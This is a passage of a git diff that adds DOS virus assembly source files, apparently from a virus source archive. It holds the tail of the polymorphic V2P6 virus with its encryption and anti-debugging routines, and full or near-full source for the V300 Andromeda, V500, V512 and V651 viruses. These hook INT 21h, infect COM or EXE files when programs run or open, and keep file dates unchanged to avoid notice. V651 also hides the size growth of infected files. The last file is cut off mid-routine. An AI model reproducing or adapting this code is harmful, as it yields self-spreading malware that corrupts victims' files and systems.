SHR DL,1 + JB RIGHT_HERE + INC AL + JMP SHORT UP_TO_SHIFT + RIGHT_HERE: + MOV DL,AL + POP AX + RET + + INT 3 ;False code. + +DEGARB_CALL_THREE: + MOV CX,WORD PTR[BP-01EH] + XOR CX,0813CH + ADD CX,09249H + ROR CX,1 + ROR CX,1 + ROR CX,1 + MOV WORD PTR[BP-01EH],CX + AND CX,7 + PUSH CX + INC CX + XOR AX,AX + STC + RCL AX,CL + POP CX + RET + +GET_OFFSET: + POP AX + PUSH AX + RET + +DEGARB_CALL_FOUR: + CALL DEGARB_CALL_THREE + TEST DX,AX + JNE DEGARB_CALL_FOUR + OR DX,AX + MOV AX,CX + SHL AX,1 + PUSH AX + XLATB + MOV CX,AX + POP AX + INC AX + XLATB + ADD AX,WORD PTR[BP-014H] + MOV SI,AX + REP MOVSB + RET + +DEGARB_CALL_FIVE: + MOV DX,0 + PRETTY_PLACE: + CALL DEGARB_CALL_FOUR + MOV AX,DX + AND AX,WORD PTR[BP-01AH] + CMP AX,WORD PTR[BP-01AH] + JNE PRETTY_PLACE + RET + + ;====== Encryption and debugger stopping routines ======= + +NEW_INT_THREE: + PUSH BX + MOV BX,SP + PUSH AX + PUSH SI + PUSH DS + PUSH CS + POP DS + OR BYTE PTR[BX+7],1 + MOV SI,WORD PTR[BX+2] + INC WORD PTR[BX+2] + MOV WORD PTR[BP-020H],SI + LODSB + XOR BYTE PTR[SI],AL + IN AL,021H + MOV BYTE PTR[BP-029H],AL + MOV AL,0FFH + OUT 021H,AL + POP DS + POP SI + POP AX + POP BX + IRET + +NEW_INT_ONE: + PUSH BX + MOV BX,SP + PUSH AX + AND SS:BYTE PTR[BX+7],0FEH + MOV BX,WORD PTR[BP-020H] + MOV AL,CS:BYTE PTR[BX] + XOR CS:BYTE PTR[BX+1],AL + MOV AL,BYTE PTR[BP-029H] + OUT 021H,AL + MOV AL,020H + OUT 020H,AL + POP AX + POP BX + IRET + +REPLACE_ONE_AND_THREE: + PUSHF + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,WORD PTR[BP-014H] + SUB AX,093H + CLI + MOV DS:WORD PTR[000CH],AX + MOV AX,WORD PTR[BP-014H] + SUB AX,06DH + MOV DS:WORD PTR[0004],AX + PUSH CS + POP AX + MOV DS:WORD PTR[0006],AX + MOV DS:WORD PTR[000EH],AX + STI + POP AX + POP DS + POPF + RET + +RESTORE_ONE_AND_THREE: + PUSHF + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,WORD PTR[BP-024H] + CLI + MOV DS:WORD PTR[000CH],AX + MOV AX,WORD PTR[BP-028H] + MOV DS:WORD PTR[0004],AX + MOV AX,WORD PTR[BP-026H] + MOV DS:WORD PTR[0006],AX + MOV AX,WORD PTR[BP-022H] + MOV DS:WORD PTR[000EH],AX + STI + POP AX + POP DS + POPF + RET + + ;============= The Variable Code =============== + +VARIABLE_CODE: + MOV SI,0 + MOV CX,0 + MOV DX,0 + NOP + CLC + STC + CLD + XOR BP,BP + +XORING_HERE: + XOR WORD PTR[BP+SI],DX + ADD BYTE PTR[BX+SI],AL + STC + CMC + CLC + CLD + STI + NOP + CLC + INC SI + DEC DX + CLD + CMC + STI + CLC + STC + NOP + LOOP XORING_HERE + XOR BP,BP + XOR BX,BX + XOR DI,DI + XOR SI,SI + ADD AX,WORD PTR[BX+SI] + ADD AX,WORD PTR[BP+DI] + ADD AX,DS:WORD PTR[0901H] + ADD WORD PTR[BP+SI],CX + ADD WORD PTR[BP+DI],CX + ADD WORD PTR[SI],CX + ADD CL,BYTE PTR[DI] + ADD CL,BYTE PTR[BX] + ADD WORD PTR[BP+DI],DX + ADD WORD PTR[SI],DX + ADD WORD PTR[DI],DX + ADD DS:WORD PTR[01701H],DX + ADD WORD PTR[BX+SI],BX + ADD WORD PTR[BX+DI],BX + ADD WORD PTR[BP+SI],BX + ADD WORD PTR[BP+DI],BX + ADD WORD PTR[SI],BX + ADD WORD PTR[DI],BX + ADD DS:WORD PTR[01F01H],BX + ADD WORD PTR[BX+SI],SP + ADD WORD PTR[BX+DI],SP + ADD BYTE PTR[BP+SI],CL + ADD DS:WORD PTR[0902H],AX + ADD AX,WORD PTR[DI] + ADD AL,8 + ADD AX,0704H + ADD CL,BYTE PTR[DI] + DEC BP + INC BP + MOV BP,04B0BH + INC BX + MOV BX,04F0FH + INC DI + MOV DI,04E0EH + INC SI + MOV SI,04808H + INC AX + MOV AX,04800H + INC AX + MOV AX,04804H + INC AX + MOV AX,04A0AH + INC DX + MOV DX,04A02H + INC DX + MOV DX,04A06H + INC DX + MOV DX,9 + ADD BYTE PTR[BX+SI],AL + ADD WORD PTR[BX+SI],AX + ADD BYTE PTR[BX+SI],AL + ADD AX,0 + DB 0 + + ;======= Only the Memory Image of the following code ===== + ;======= is ever executed ===== + +ENCRYPT_WRITE_AND_DECRYPT: + MOV CX,WORD PTR[BP-018H] + MOV AX,WORD PTR[BP-016H] + MOV DI,SI + SUB DI,05A6H + CALL ENCRYPT_BODY + MOV AH,040H + MOV DX,WORD PTR[BP-01EH] + AND DX,0FFH + MOV CX,WORD PTR[BP-018H] + ADD CX,[O27H] + ADD CX,DX + MOV DX,SI + SUB DX,05CDH + INT 021H + PUSHF + PUSH AX + MOV CX,WORD PTR[BP-018H] + MOV AX,WORD PTR[BP-016H] + MOV DI,SI + SUB DI,05A6H + CALL ENCRYPT_BODY + POP AX + POPF + RET + +ENCRYPT_BODY: + XOR WORD PTR[DI],AX + DEC AX + INC DI + LOOP ENCRYPT_BODY + RET + + ;================= Data Section begins here =============== + +RANDOM_KEY: +DB 006H, 02CH + +STORAGE_OF_INITIAL_JUMP: +DB 0E9H, 0FDH, 0FEH + +NEW_JUMP_INSTRUCTION: +DB 0E9H, 00, 00 + +FILE_SPEC: +DB "*.COM", 00 + +OFFSET_OF_PATH: +DB "PATH=" + +WORK_AREA: +DB 64 DUP (0) + +NEW_DTA: +DB 30 DUP (0) + +TARGET_FILE_NAME: +DB 13 DUP (0) + +;============ THE FOLLOWING IS NOT PART OF THE VIRUS ============= +; Needed to insert initial random encryption values, etc. for the +; first time. Values used here may correspond to Washburn's original +; values. They were obtained from a sample of V2P6 which might have +; been an original compilation of the virus by its author. + +INSERT_ENCRYPTION_TECHNIQUES: + XOR BP,BP + MOV BX,OFFSET TRANS_TABLE + MOV SI,OFFSET START + MOV DI,OFFSET REAL_NOPS + MOV DX,OFFSET REAL_NOP + INC DI + ADD DX,3 + + SEARCH_FOR_NOPS: + INC SI + CMP SI,OFFSET EXIT + JE ANOTHER_RET + CMP SI,DI + JE LEAVE_IN + CMP SI,DX + JE LEAVE_IN + CMP WORD PTR[SI],09090H + JNE SEARCH_FOR_NOPS + CALL INSERT_BREAKPOINT_AND_XORING_VALUE + LEAVE_IN: + JMP SHORT SEARCH_FOR_NOPS + +INSERT_BREAKPOINT_AND_XORING_VALUE: + MOV BYTE PTR[SI],0CCH + MOV AX,BP + XLATB + MOV BYTE PTR[SI+1],AL + XOR BYTE PTR[SI+2],AL + INC BP + ANOTHER_RET: + RET + +TRANS_TABLE: + DB 08BH, 060H, 0D4H, 0C6H, 048H, 057H, 016H, 06EH + DB 0D3H, 087H, 080H, 000H, 090H, 07EH, 051H, 056H + DB 056H, 0F6H, 062H, 074H, 072H, 072H, 032H, 00AH + DB 0AFH, 03BH, 0AAH, 0BBH, 0FAH, 041H, 038H, 009H + DB 02FH, 0ABH, 0DCH, 0E5H, 004H, 010H, 08EH, 01FH + DB 00DH, 04FH, 0F7H, 002H, 0F0H, 002H, 050H, 036H + DB 04AH, 037H, 04AH, 077H, 0B2H, 07AH, 0B1H, 07AH + DB 031H + + O10H EQU 010H + O3CH EQU 03CH + ODH EQU 0DH + OFH EQU 0FH + O1BH EQU 01BH + O6 EQU 06 + O1AH EQU 01AH + O4 EQU 04 + O7 EQU 07 + O5CH EQU 05CH + O24H EQU 024H + O6AH EQU 06AH + O1 EQU 01 + O2CH EQU 02CH + OO10H EQU 0010H + O22H EQU 022H + O27H EQU 027H + ZERO EQU 0 + + +V2P6 ENDP +CODE_SEG ENDS +END V2P6 + \ No newline at end of file diff --git a/v/V300.ASM b/v/V300.ASM new file mode 100755 index 0000000..5695c0e --- /dev/null +++ b/v/V300.ASM @@ -0,0 +1,184 @@ +;------------------------------------------------------------------------------ +; V 300 ANDROMEDA *.COM +;------------------------------------------------------------------------------ + + + + +xseg segment + + Assume cs:xseg + +xproc proc far + dec bp + inc bp + push ax + xor ax,ax + mov es,ax + mov ax,es:[0535H] + cmp ax,454dh + jz np +; Resident proc near + mov di,535h + mov si,100h + mov cx,offset len-100h + cld + rep movsb + mov ax,offset int21+435h + xchg ax,es:[0084h] + mov es:[00c8h],ax + xor ax,ax + xchg ax,es:[0086h] + mov es:[00cah],ax + +; Resident endp + np: +; NorProg proc near + push word ptr ds:[lenpro] + db 0eah + dw offset norprogm+435h + dw 0000h +; NorProg endp + + NorProgM proc near + cld + mov di,100h + pop si + add si,100h + lea cx,len-100h + push ds + pop es + rep movsb + pop ax + mov cs:[p+435h],es + db 0eah + dw 100h + p: dw 0000h + NorProgM endp + + Int21 proc near + push ax + push bx + push cx + push dx + push di + push ds + push es + + cmp ax,4b00h + + jz sj + jmp ji + + sj: mov ax,offset int24+435h + xchg ax,cs:[0090h] + mov cs:[o24],ax + xor ax,ax + xchg ax,cs:[0092h] + mov cs:[s24],ax + + mov ax,3d02h + int 32h + + jc jcr + + db 93h + + mov dx,0bfe5h + mov ds,dx + xor dx,dx + lea cx,len-100h + mov ah,3fh + int 32h + + mov di,dx + mov ax,[di] + cmp al,'M' + jz j + + mov ax,4202h + xor cx,cx + int 32h + + or ah,ah + jz j + + mov cs:[lenpro+435h],ax + + mov ax,5700h + int 32h + push cx + push dx + + xor dx,dx + mov ah,40h + lea cx,len-100h + int 32h + + mov ax,4200h + push cs + pop dx + xor cx,cx + int 32h + + push cs + pop ds + lea cx,len-100h + mov dx,535h + mov ah,40h + int 32h + + pop dx + pop cx + mov ax,5701h + int 32h + + j: mov ah,3eh + int 32h + + jcr: mov ax,cs:[o24+435h] + mov cs:[0090h],ax + mov ax,cs:[s24+435h] + mov cs:[0092h],ax + xor ax,ax + + ji: cmp ah,3dh + jnz pr + push ds + pop es + push dx + pop di + mov cx,40h + mov al,'.' + repnz scasb + jnz pr + xchg di,bx + mov ax,[bx] + cmp ax,'OC' + jnz pr1 + jmp sj + pr1: cmp ax,'oc' + jnz pr + jmp sj + + pr: pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[00c8H] + Int21 endp + + Int24 proc near + mov al,3 + iret + s24: dw 0000h + o24: dw 0000h + int24 endp + lenpro dw 0000 + Len label byte +xproc endp +xseg ends + end diff --git a/v/V500.ASM b/v/V500.ASM new file mode 100755 index 0000000..a40927f --- /dev/null +++ b/v/V500.ASM @@ -0,0 +1,269 @@ +;------------------------------------------------------------------------------ +;- V 500 ver 2.1 <03:04:91> GeMiCha *.COM - +;------------------------------------------------------------------------------ + + page ,132 + name V500 + title The V-500 virus + .radix 16 + code segment + assume cs:code,ds:code + + org 100 + + +start: push ax + mov ah,30h + int 21h + xchg ah,al + mov word ptr [dosver],ax + + mov ax,352eh + int 21h + cmp word ptr [dosver],31eh + jne endprog + + +Resident proc near + mov ah,52h + int 21h + push es + push bx + + mov ax,es:[bx+14h] + mov word ptr adrdata,ax + + push adrdata + pop es + + mov ax,es:[0002] + mov Word ptr bufadr,ax + + push ax + pop es + + mov ax,es:[0002] + + pop bx + pop es + + mov es:[bx+14h],ax + + mov es,word ptr adrdata + xor di,di + mov si,100h + lea cx,lendata-100h + cld + rep movsb + + mov ax,352eh + int 21h + mov ax,0086h + mov es:[012E],ax + lea dx,int21-100h + push adrdata + pop ds + mov ax,2586h + int 21h + + Resident Endp + +NormProg proc near + +EndProg: mov ax,3586h + int 21h + push es + pop word ptr cs:[jmps] + push cs + push word ptr cs:[lenpro] + db 0EAh + dw Offset MNormP - 100h + jmps: dw 0 + +NormProg endp + +MNormP proc near + cld + pop si + add si,0100h + pop es + push es + pop ds + push ds + pop word ptr cs:[jmpp-100h] + lea cx,lendata-100h + mov di,0100h + rep movsb + + pop ax + db 0EAh + dw 0100h + jmpp: dw 0 + +MNormP endp + + Int21 proc near + push ax + push bx + push cx + push dx + push di + push ds + push es + + push ds + push dx + + xor ax,ax + mov es,ax + mov ax,word ptr es:[004ch] + mov word ptr cs:[int13-100h],ax + mov ax,word ptr es:[004eh] + mov word ptr cs:[int13-100h+2],ax + + mov ah,13h + int 2fh + push ds + push dx + mov ah,13h + int 2fh + pop dx + pop ds + + xor ax,ax + mov es,ax + mov es:[004ch],dx + mov es:[004eh],ds + + dos310 label byte + + pop dx + pop ds + + mov ax,4300h ;Get File Attr + int 21h + push cx + push dx + push ds + + mov ax,4301h ;Set File Attr + xor cx,cx + int 21h + + mov ax,3d02h ;Open File + int 21h + + xchg ax,bx + + push word ptr cs:[BufAdr -100h] + pop ds + xor dx,dx + + lea cx,lendata-100h + mov ah,3fh + int 21h + cmp ds:[0000],'ZM' + je clof + + mov ax,4202h + xor cx,cx + int 21h + + mov cs:[lenpro-100h],ax + cmp ah,02h + jbe clof + cmp ah,0f6h + jae clof + + mov ah,54h ; Get Verify + int 21h + push ax + + xor ax,ax ; Set Verify OFF + mov ah,2eh + xor dx,dx + int 21h + + mov ax,5700h ; Get Date & Time + int 21h + push cx + push dx + + xor dx,dx + mov ah,40h + lea cx,lendata-100h + int 21h + + mov ax,4200h + xor cx,cx + int 21h + + push cs + pop ds + lea cx,lendata-100h + mov ah,40h + int 21h + + pop dx ; Set Date & Time + pop cx + mov ax,5701h + int 21h + + pop ax ; Set Verify + xor dx,dx + mov ah,2eh + int 21h + + + clof: mov ah,3eh + int 21h + + pop ds + pop dx + pop cx + mov ax,4301h + int 21h + + xor ax,ax + mov es,ax + mov ax,word ptr cs:[int13-100h] + mov es:[004ch],ax + mov ax,word ptr cs:[int13-100h+2] + mov es:[004eh],ax + + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + int 21h + iret +Int21 endp +int13 dd 0 +bufadr dw 0 +dosver dw 0 +lenpro dw LenPPP-LenData +AdrData dw 0000h +CRT dw 0 ; ??? + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' +Lendata label byte + + prrog DB 1998 dup(90h) + int 20h +LenPPP Label byte + +code ends + end start diff --git a/v/V512.ASM b/v/V512.ASM new file mode 100755 index 0000000..acfb4c8 --- /dev/null +++ b/v/V512.ASM @@ -0,0 +1,313 @@ + name a +code1 segment byte + assume cs:code1,ds:code1 + org 0004h +D4 = $ + org 0050h +N50 = $ + org 0100h +BegAddr = $ +Begin: + mov si,04h + mov ds,si + lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx + mov ah,013h + int 02fh ; return orig addr of int 13 into ds:dx + push ds + push dx + int 02fh + pop ax + mov di,offset BegAddr-8 + stosw ; store orig int13 addr offset + pop ax + stosw ; and segment + mov ds,si + lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax + cmp ax,0117h + stosw ; store int21 addr offset + mov ax,ds + stosw ; and segment + push es ; really this is prog_begin segment + push di ; and offset (0100 for .COM) + jne N130 + shl si,1 + mov cx,01ffh + rep cmpsb + je N177 +N130: + mov ah,052h ; DOS Fn - Get LIST of LISTS + int 021h + push es ; return: es:bx - pointer to DOS list of lists + mov si,0f8h ; here was stored addres of int13 + les di,es:[bx+12h] ; pointer to first disk buffer + mov dx,es:[di+02] ; pointer to next disk buffer + mov cx,207h ; VirLen + 8 + rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into + ; first disk buffer + mov ds,cx ; ds=0 + mov di,016h + mov word ptr [di+06eh],0117h ; set int21 to this offset + mov word ptr [di+070h],es ; and segment + pop ds ; restore pointer to DOS list of lists into ds:bx + mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first + ; => hide 1-st disk buffer + mov dx,cs + mov ds,dx + mov bx,word ptr [di-014h] ; get top of available system + ; memory in paragraphs + dec bh ; and decement it + mov es,bx ; es=last memory segment + cmp dx,word ptr [di] ; dx=Parents ID ? + mov ds,word ptr [di] ; ds=PID + mov dx,word ptr [di] ; dx=Parents PID !!! + dec dx + mov ds,dx ; ds=P PID-1 !!! + mov si,cx ; si=0 + mov dx,di + mov cl,028h + rep movsw ; P PID-1:0 -> MemTop-1:16 + mov ds,bx ; ds=MemTop-1 + jb N186 ; ????? +N177: + mov si,cx ; si=0 + mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment +N17d: + lodsw + dec si + or ax,ax + jne N17d ; find filespec of THIS file !!! + lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!) +N186: + mov ax,03d00h ; Open a File + int 021h ; AL Open mode + ; DS:DX Pointer to filename (ASCIIZ string) + xchg ax,bx + pop dx + push dx + push cs + pop ds + push ds + pop es + mov cl,02h + mov ah,03fh + int 021h ; Read from File or Device, Using a Handle + ; BX File handle + ; CX Number of bytes to read + ; DS:DX Address of buffer + mov dl,cl + xchg cl,ch + mov al,byte ptr ds:BegAddr + cmp al,byte ptr ds:D2ff + jne N1a7 + mov ah,03fh +N1a7: + jmp N50 +GetFileTblNum: + push bx + mov ax,01220h ; get system file table number + int 02fh ; bx = file handle + mov bl,byte ptr es:[di] ; = system file table entry number for + ; file handle + mov ax,01216h ; get address of system fcb + int 02fh ; bx = system file table number + ; return: ES:DI - system file table entry + pop bx + lea di,word ptr [di+015h] + mov bp,0200h + ret +N1c0: + mov ah,03fh +N1c2: + pushf + push cs + call N248 + ret +DOS_ReadFromFile: + call GetFileTblNum + mov si,word ptr es:[di] + call N1c0 + jb N1f7 + cmp si,bp + jnb N1f7 + push ax + mov al,byte ptr es:[di-08h] + not al + and al,01fh + jne N1f6 + add si,word ptr es:[di-04h] + xchg si,word ptr es:[di] + add word ptr es:[di-04h],bp + call N1c0 + sub word ptr es:[di-04h],bp + xchg ax,si + stosw +N1f6: + pop ax +N1f7: + pop es + pop si + pop di + pop bp +boza proc far + ret 2 +boza endp + +DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file + call N1c2 +D200 = $-1 + lahf + mov al,cl + and al,01fh + cmp al,01fh +D207 = $-1 + jne N20c + xor cl,al +N20c: + sahf + jmp N1f6 +Int21Entry: + push bp + push di + push si + push es + cld + mov bp,sp + mov es,word ptr [bp+0ah] + mov di,0117h + mov si,di + cmps word ptr cs:[si],word ptr es:[di] + je N244 + cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle + je DOS_ReadFromFile + push ax + cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date + je DOS_QueryFileTimeDate + cmp ah,03eh ; DOS Fn 3eH: Close a File Handle + pushf + push bx + push cx + push dx + push ds + je DOS_CloseFileHandle + cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC + je DOS_EXEC +INT21end: + pop ds + pop dx + pop cx + pop bx + popf + je N1f6 + pop ax +N244: + pop es + pop si + pop di + pop bp +N248: + jmp dword ptr cs:D4 ; ????? +DOS_EXEC: + mov ah,03dh ; DS:DX : address of an ASCIIZ string of a + int 021h ; filespec + ; AL : Open Mode + xchg ax,bx +DOS_CloseFileHandle: ; BX : file handle + call GetFileTblNum + jb INT21end ; exit on error + xor cx,cx + xchg cx,bp + mov ds,bp + mov si,04ch + lodsw + push ax + lodsw + push ax + mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector + push ax + push word ptr [si+040h] + push word ptr [si+042h] + push cs + pop ds ; AL : interrupt number 24h + ; INT 24H: Critical Error Handler + mov dx,067h ; DS:DX : interrupt vector - address + int 021h ; of code to handle an interrupt + lds dx,dword ptr [si-050h] + mov al,013h ; AL : interrupt number 13h + int 021h ; INT 13H: Disk I/O + push es + pop ds + mov word ptr [di],bp + mov byte ptr [di-013h],ch + cmp word ptr [di+014h],04d4fh + jne N2be + mov dx,word ptr [di-04h] + add dh,ch + cmp dh,04h + jb N2be + test byte ptr [di-011h],04h + jne N2be + lds si,dword ptr [di-0eh] + cmp byte ptr [si+04h],ch + jbe N2aa + dec dx + shr dh,1 + and dh,byte ptr [si+04h] + je N2be +N2aa: + mov ds,bp + mov dx,cx + call N1c0 + mov si,dx + dec cx +N2b4: + lodsb + cmp al,byte ptr cs:Dfe07[si] +Dfe07=0fe07h + jne N2d1 + loop N2b4 +N2be: + mov ah,03eh + call N1c2 + pop ds + pop dx + pop ax + int 021h +N2c8: + pop ds + pop dx + mov al,013h + int 021h +N2ce: + jmp INT21end +N2d1: + mov cx,dx + mov si,word ptr es:[di-04h] + mov word ptr es:[di],si + mov ah,040h + int 021h +N2de: + mov al,byte ptr ds:D200 + push es + pop ds + mov word ptr [di-04h],si + mov word ptr [di],bp + or byte ptr [di-08h],01fh + push cs + pop ds + mov byte ptr ds:D207,al + mov dx,08h + mov ah,040h + int 021h +N2f8: + or byte ptr es:[di-0fh],040h + jmp N2be +D2ff = $ +N2ff: + db 0e9h + + org 336h +N336 proc near +N336 endp +code1 ends + end begin + \ No newline at end of file diff --git a/v/V651.ASM b/v/V651.ASM new file mode 100755 index 0000000..2d770d3 --- /dev/null +++ b/v/V651.ASM @@ -0,0 +1,395 @@ + +PAGE 59,132 + +; +; +; V651 +; +; Created: 17-Jan-80 +; Version: +; Passes: 9 Analysis Options on: ABCEFPX +; +; +; + +data_1e equ 84h ; (6FC2:0084=0) +data_2e equ 86h ; (6FC2:0086=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +v651 proc far + +start: + jmp loc_2 ; (09EB) + db 377 dup (0) +data_4 dw 0 ; Data table (indexed access) +data_5 dw 0 ; Data table (indexed access) +data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access) +data_8 dw 0 ; Data table (indexed access) +data_9 dw 0 ; Data table (indexed access) +data_10 dw 0 ; Data table (indexed access) + db 0 ; Data table (indexed access) + db 0 +data_13 dw 0 + db 0, 0 +data_14 dw 0 +data_15 dw 0 +data_16 dw 0 +data_17 dd 00000h + db 0, 0 +data_19 dd 00000h +data_21 dw 0 +data_22 dw 0 + db 1863 dup (0) +loc_2: + call sub_1 ; (09EE) + +v651 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,3 ; bx - + push ax + sub ax,ax + mov es,ax ; ES:=0 + mov ax,es:[84h] ; INT 21h + mov cs:[bx+027Ch],ax ; offs INT 13h + mov ax,es:[86h] ; seg INT 13h + mov cs:[bx+027Eh],ax ; seg INT 13h + mov ax,0A55Ah + int 21h ; + cmp ax,5AA5h + je loc_3 ; . + mov ax,sp + inc ax + mov cl,4 + shr ax,cl ; Shift w/zeros fill + inc ax + mov cx,ss + add ax,cx + mov cx,ds + dec cx ; + mov es,cx + mov di,2 + mov dx,2Bh + mov cx,[di] ; CX + sub cx,dx ; CX , DX + cmp cx,ax ; + jb loc_3 ; + sub es:[di+1],dx ; + mov [di],cx ; + mov es,cx + mov si,bx + sub di,di + mov cx,140h + cld ; + rep movs word ptr es:[di],word ptr cs:[si] + mov ax,es ; AX:=ES + mov es,cx ; ES:=0 + cli + mov word ptr es:[84],0A7h ; INT 21h + mov es:[86],ax + sti +loc_3: + push ds + pop es + mov ax,cs:[bx+0288h] ; + cmp ax,5A4Dh ; EXE ? + je loc_4 + cmp ax,4D5Ah ; EXE ? + je loc_4 + mov di,100h ; COM + mov [di],ax + mov al,byte ptr [bx+28Ah] ; 3 + mov [di+2],al + pop ax + push di + retn ; +loc_4: + pop ax + mov dx,ds + add dx,10h ; + add word ptr cs:[bx+0282h],dx ; + add dx,cs:[bx+0286h] ; + mov ss,dx ; SS + mov sp,cs:[bx+0284h] ; SP + jmp dword ptr cs:[bx+0280h] ; + +;----------------------------------------------------------------------------- + + sti ; INT 21h + cmp ax,4B00h ; Exec read & exec + je loc_10 + cmp ah,11h ; FindFirst FCB + je loc_5 + cmp ah,12h ; FindNext FCB + je loc_5 + cmp ax,0A55Ah + je loc_9 ; Jump if equal + jmp loc_28 ; (0C44) +loc_5: + pushf ; Push flags + call dword ptr cs:data_4 ; (6FC2:027C=0) + test al,al ; + jnz loc_ret_8 ; ! + push ax + push bx ; AX,BX,ES + push es + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_6 ; Jump if not zero + add bx,7 +loc_6: + mov ax,es:[bx+17h] + and al,1Fh ; + cmp al,1Fh + jne loc_7 + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],28Bh ; + sbb word ptr es:[bx+1Fh],0 +loc_7: + pop es + pop bx ; + pop ax + +loc_ret_8: + iret ; Interrupt return +loc_9: + not ax ; A55A + iret ; Interrupt return +loc_10: + push ds + push es + push ax ; INT 24h + push bx + push cx + push dx + push si + push di + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + push bx + push ds + push dx ; INT 24h + push cs + pop ds + mov dx,25Eh + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop dx + pop ds + mov ax,4300h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jnc loc_11 ; Jump if carry=0 + sub cx,cx + jmp loc_26 ; +loc_11: + push cx + test cl,1 + jz loc_12 ; read-only + dec cx + mov ax,4301h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_12: + mov ax,3D02h ; + int 21h + + push cs + pop ds + jnc loc_13 ; Jump if carry=0 + jmp loc_25 ; (0C2A) +loc_13: + mov bx,ax + mov ax,5700h ; + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + jc loc_14 ; Jump if carry Set + mov al,cl + or cl,1Fh ; + cmp al,cl + jne loc_15 ; Jump if not equal +loc_14: + jmp loc_24 ; (0C26) +loc_15: + push cx + push dx + mov dx,288h + mov cx,18h + mov ah,3Fh ; EXE + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_16 ; Jump if carry Set + sub cx,ax + jnz loc_16 ; Jump if not zero + les ax,data_17 ; SS SP + mov data_8,es ; (6FC2:0284=0) => SS + mov data_9,ax ; (6FC2:0286=0) => SP + les ax,data_19 ; CS IP + mov word ptr data_6,ax ; (6FC2:0280=0) => IP + mov word ptr data_6+2,es ; (6FC2:0282=0) => CS + mov dx,cx + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_16 ; Jump if carry Set + mov data_21,ax ; (6FC2:02A0=0) + mov data_22,dx ; (6FC2:02A2=0) + mov cx,28Bh + cmp ax,cx + sbb dx,0 + jc loc_16 ; Jump if carry Set + call sub_2 ; EXE + jz loc_17 ; Jump if zero + cmp ax,0FB75h ; + jb loc_17 ; Jump if below +loc_16: + jmp loc_22 ; (0C1C) +loc_17: + sub dx,dx + mov ah,40h ; + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_16 ; Jump if carry Set + sub cx,ax + jnz loc_16 ; Jump if not zero + mov dx,cx + mov ax,4200h ; FP + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_16 ; Jump if carry Set + mov ax,data_21 ; (6FC2:02A0=0) + call sub_2 ; EXE + jnz loc_20 ; Jump if not zero + mov dx,data_22 ; (6FC2:02A2=0) + mov cx,4 + mov si,data_14 ; (6FC2:0290=0) + sub di,di + +locloop_18: + shl si,1 ; Shift w/zeros fill + rcl di,1 ; Rotate thru carry + loop locloop_18 ; Loop if cx > 0 + + sub ax,si + sbb dx,di + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + mov word ptr data_19,ax ; (6FC2:029C=0) + mov word ptr data_19+2,dx ; (6FC2:029E=0) + add dx,31h + nop ; + mov word ptr data_17+2,ax ; (6FC2:0298=0) + mov word ptr data_17,dx ; (6FC2:0296=0) + add data_15,9 ; (6FC2:0292=0) + mov ax,data_15 ; (6FC2:0292=0) + cmp ax,data_16 ; (6FC2:0294=0) + jb loc_19 ; Jump if below + mov data_16,ax ; (6FC2:0294=0) +loc_19: + mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0) + add ax,28Bh + push ax + and ah,1 + mov word ptr ds:[28Ah],ax ; (6FC2:028A=0) + pop ax + mov cl,9 + shr ax,cl ; Shift w/zeros fill + add data_13,ax ; (6FC2:028C=0) + jmp short loc_21 ; (0C0C) +loc_20: + sub ax,3 + mov byte ptr data_10,0E9h ; (6FC2:0288=0) + mov word ptr data_10+1,ax ; (6FC2:0289=0) +loc_21: + mov dx,288h + mov cx,18h + mov ah,40h ; + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_22 ; Jump if carry Set + cmp ax,cx + je loc_23 ; Jump if equal +loc_22: + stc ; Set carry flag +loc_23: + pop dx + pop cx + jc loc_24 ; + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time +loc_24: + mov ah,3Eh ; + int 21h +loc_25: + pop cx +loc_26: + test cl,1 + jz loc_27 ; Jump if zero + mov ax,4301h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_27: + pop dx + pop ds + mov ax,2524h + int 21h ; INT 24h + pop di + pop si + pop dx + pop cx ; + pop bx + pop ax + pop es + pop ds +loc_28: + jmp dword ptr cs:data_4 ; (6FC2:027C=0) + mov al,3 + iret ; Interrupt return +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near ; EXE + mov si,data_10 ; (6FC2:0288=0) + 